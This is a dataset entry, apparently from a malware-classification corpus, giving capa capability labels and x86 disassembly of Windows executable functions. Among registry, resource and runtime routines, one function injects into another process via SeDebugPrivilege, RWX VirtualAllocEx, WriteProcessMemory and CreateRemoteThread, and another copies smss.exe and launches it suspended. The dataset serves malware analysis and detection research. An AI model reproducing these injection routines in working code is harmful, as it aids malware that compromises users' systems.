joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002340
Capabilities:
Copy file
Create process on windows
Create process suspended
Get common file path

Disassembly:
sub esp, 0x158
mov eax, dword [esp + 0x15c]
push ebx
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [esp + 0x60]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system_smss.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x60]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x64]
and ecx, 3
push str.C:windows.txt
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0xc], ecx
lea edi, [esp + 0x1c]
mov dword [esp + 0x10], ecx
lea edx, [esp + 0xc]
mov dword [esp + 0x14], ecx
push edx
mov dword [esp + 0x1c], ecx
mov ecx, 0x11
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push str.C:windows.txt
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
add esp, 0x158
ret
Function at 0x14002c60
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14002d0b
mov edi, dword [esp + 0x140]
mov ebp, dword [esp + 0x13c]
lea esi, [esp + 0x34]
mov eax, ebp
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x14002cc0
test cl, cl
je 0x14002cbc
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x14002cc0
add eax, 2
add esi, 2
test cl, cl
jne 0x14002c9c
xor eax, eax
jmp 0x14002cc5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x14002d18
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x14002cf3
test cl, cl
je 0x14002cef
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x14002cf3
add eax, 2
add esi, 2
test cl, cl
jne 0x14002ccf
xor eax, eax
jmp 0x14002cf8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x14002d18
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14002c96
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x14002dc0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 8
push ebp
push esi
push edi
push 0
mov byte [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
lea ecx, [esp + 0x10]
push ecx
push 0x20
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x50]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edx, dword [esp + 0x10]
push 1
push str.SeDebugPrivilege
push edx
call fcn.14002d60
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
push eax
push ecx
call fcn.14002c60
add esp, 0x14
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x14002ea5
push ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x40
push 0x3000
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x14002e9d
push 0
push ebp
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002e8e
push 0
push 0
push 0
push 0x14002d30
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x14002e8e
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x10], 1
push 0x8000
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, dword [esp + 0xc]
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 8
ret
Function at 0x14004691
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x14008558
cmp edx, dword [eax]
je 0x140046b3
add eax, 8
inc ecx
cmp eax, 0x140085e8
jl 0x140046a4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x14008558]
jne 0x140047e1
mov eax, dword [0x14008da8]
cmp eax, 1
je 0x140047bb
test eax, eax
jne 0x140046e4
cmp dword [0x140084a4], 1
je 0x140047bb
cmp edx, 0xfc
je 0x140047e1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400471b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.14005180
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.14004b50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1400475e
lea eax, [ebp - 0x1a4]
push eax
call fcn.14004b50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x14007500
push edi
call fcn.14003030
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.14005180
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.14005190
lea eax, [ebp - 0xa0]
push 0x140074e0
push eax
call fcn.14005190
push dword [esi + 0x1400855c]
lea eax, [ebp - 0xa0]
push eax
call fcn.14005190
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.14005e6e
add esp, 0x2c
pop edi
jmp 0x140047e1
lea eax, [ebp + 8]
lea esi, [esi + 0x1400855c]
push 0
push eax
push dword [esi]
call fcn.14004b50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x41e5e2
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x464d60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x10], 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x41e2d4
call fcn.0045ca4b
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0
jne 0x41e651
push 0x403350
push str.Creating_second_thread_for_connecting_failed_
mov ecx, 0x48bd28
call fcn.00444e5c
mov ecx, eax
call fcn.004032c0
push 0x64
call fcn.00439678
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx + 0x14], 0
je 0x41e75d
push 0x5c
call fcn.00403280
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0
je 0x41e684
push 0
mov ecx, dword [ebp - 0x1c]
call fcn.0040dfe4
mov dword [ebp - 0x30], eax
jmp 0x41e68b
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x18], ecx
mov dword [ebp - 0x10], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x18]
mov eax, dword [edx]
call dword [eax + 0xb8]
mov dword [ebp - 0x10], eax
push 0x64
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x14]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x18], 0
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0x91a
je 0x41e6ec
jmp 0x41e75d
lea ecx, [ebp - 0x14]
call fcn.004032a0
mov dword [ebp - 4], 1
push 0xf5
lea ecx, [ebp - 0x14]
call fcn.0045be17
push 0x18
call fcn.00403280
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0x24], 0
je 0x41e734
push 0
lea eax, [ebp - 0x14]
push eax
push 0xdb
mov ecx, dword [ebp - 0x24]
call fcn.0042c3cb
mov dword [ebp - 0x38], eax
jmp 0x41e73b
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov dword [edx + 0x10], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004584e5
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx + 0x10], 0
je 0x41e77d
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x28], eax
push 0x470088
lea ecx, [ebp - 0x28]
push ecx
call fcn.0043812b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4273f3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
push 2
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4274c6
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004272bf
add esp, 8
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0
je 0x42747f
push 1
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.GDI32.dll_SelectPalette]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x18]
lea edx, [eax + ecx*4]
push edx
push 4
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x10]
push eax
call fcn.00427db0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x427988
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x465ab4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push 0x4849a0
lea ecx, [ebp - 0x18]
call fcn.00458553
mov dword [ebp - 4], 0
push 0xa
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043839f
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00458875
lea ecx, [ebp - 0x18]
call fcn.004032e0
push eax
lea edx, [ebp - 0x118]
push edx
call fcn.004389b0
add esp, 8
push 2
lea eax, [ebp - 0x118]
push eax
call fcn.00427dc0
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x427a6c
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00427dc0
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call fcn.004272bf
add esp, 8
mov dword [ebp - 0x124], eax
mov edx, dword [ebp - 0x120]
push edx
call fcn.00427db0
mov eax, dword [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x124]
push ecx
call fcn.00427f10
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x12c], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004584e5
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x42fe53
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466a73
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
mov dword [ebp - 4], 1
mov dword [ebp - 0x11c], 0x100
lea eax, [ebp - 0x118]
push eax
push 1
push 0
lea ecx, [ebp + 0xc]
call fcn.004032e0
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42fee6
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x124], 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov eax, dword [ebp - 0x124]
jmp 0x430023
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x114]
push edx
push 0
lea ecx, [ebp + 0x10]
call fcn.004032e0
push eax
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42ffeb
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x114], 1
jne 0x42ff71
lea edx, [ebp - 0x110]
push edx
call fcn.004384dd
add esp, 4
mov dword [ebp - 0x128], eax
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov eax, dword [ebp - 0x128]
jmp 0x430023
cmp dword [ebp - 0x114], 4
je 0x42ff83
cmp dword [ebp - 0x114], 3
jne 0x42ffbe
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x12c], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov eax, dword [ebp - 0x12c]
jmp 0x430023
mov dword [ebp - 0x130], 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov eax, dword [ebp - 0x130]
jmp 0x430023
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x134], 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x430031
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466aaa
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40
mov dword [ebp - 4], 2
lea eax, [ebp - 0x18]
push eax
push 2
push 0
lea ecx, [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.004586c8
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3c]
call fcn.004032e0
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004584e5
cmp dword [ebp - 0x14], 0
je 0x430197
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
lea eax, [ebp + 0x10]
push eax
call fcn.0045825a
mov dword [ebp - 0x40], eax
call fcn.00431143
add esp, 4
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
je 0x43010d
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 1
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.004584e5
mov eax, dword [ebp - 0x28]
jmp 0x430206
lea ecx, [ebp - 0x18]
push ecx
push 2
push 0
lea edx, [ebp + 0x10]
push edx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call fcn.004586c8
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], edx
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4c]
call fcn.004032e0
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.004584e5
cmp dword [ebp - 0x14], 0
je 0x430197
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x30], edx
mov byte [ebp - 4], 1
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.004584e5
mov eax, dword [ebp - 0x30]
jmp 0x430206
push 0xa
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call fcn.00438428
add esp, 0xc
mov dword [ebp - 0x10], eax
push 4
mov edx, dword [ebp - 0x10]
push edx
push 1
push 0
lea ecx, [ebp + 0x14]
call fcn.004032e0
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x34], edx
mov byte [ebp - 4], 1
lea ecx, [ebp + 0xc]
call fcn.004584e5
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.004584e5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x430214
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466ae9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x418
mov dword [ebp - 0x424], 0
mov dword [ebp - 4], 2
mov dword [ebp - 0x420], 0x400
push 0x4898d8
lea ecx, [ebp - 0x10]
call fcn.00458553
mov byte [ebp - 4], 3
lea eax, [ebp - 0x41c]
push eax
push 1
push 0
lea ecx, [ebp + 0x10]
call fcn.004032e0
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4302d9
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
call fcn.0045825a
mov ecx, dword [ebp - 0x424]
or ecx, 1
mov dword [ebp - 0x424], ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
call fcn.004584e5
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x14]
call fcn.004584e5
mov eax, dword [ebp + 8]
jmp 0x43036c
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x418]
push ecx
push 0
lea ecx, [ebp + 0x14]
call fcn.004032e0
push eax
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x43031e
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x10]
call fcn.00432e70
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x10]
push edx
mov ecx, dword [ebp + 8]
call fcn.0045825a
mov eax, dword [ebp - 0x424]
or al, 1
mov dword [ebp - 0x424], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
call fcn.004584e5
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x10]
call fcn.004584e5
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x14]
call fcn.004584e5
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x44133f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x487778
cmp edx, dword [eax]
je 0x441361
add eax, 8
inc ecx
cmp eax, 0x487808
jl 0x441352
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x487778]
jne 0x44148f
mov eax, dword [0x48b9d4]
cmp eax, 1
je 0x441469
test eax, eax
jne 0x441392
cmp dword [0x486914], 1
je 0x441469
cmp edx, 0xfc
je 0x44148f
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4413c9
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004389b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004395d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x44140c
lea eax, [ebp - 0x1a4]
push eax
call fcn.004395d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x46d790
push edi
call fcn.0043e9d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004389b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004389c0
lea eax, [ebp - 0xa0]
push 0x46d770
push eax
call fcn.004389c0
push dword [esi + 0x48777c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004389c0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004436e2
add esp, 0x2c
pop edi
jmp 0x44148f
lea eax, [ebp + 8]
lea esi, [esi + 0x48777c]
push 0
push eax
push dword [esi]
call fcn.004395d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x455c40
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00439770
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x455d0b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x455d0b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x455cbe
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x455cc9
or bh, 8
and edi, 0x8000000
je 0x455ce4
mov eax, dword [0x48d33c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x455d0b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret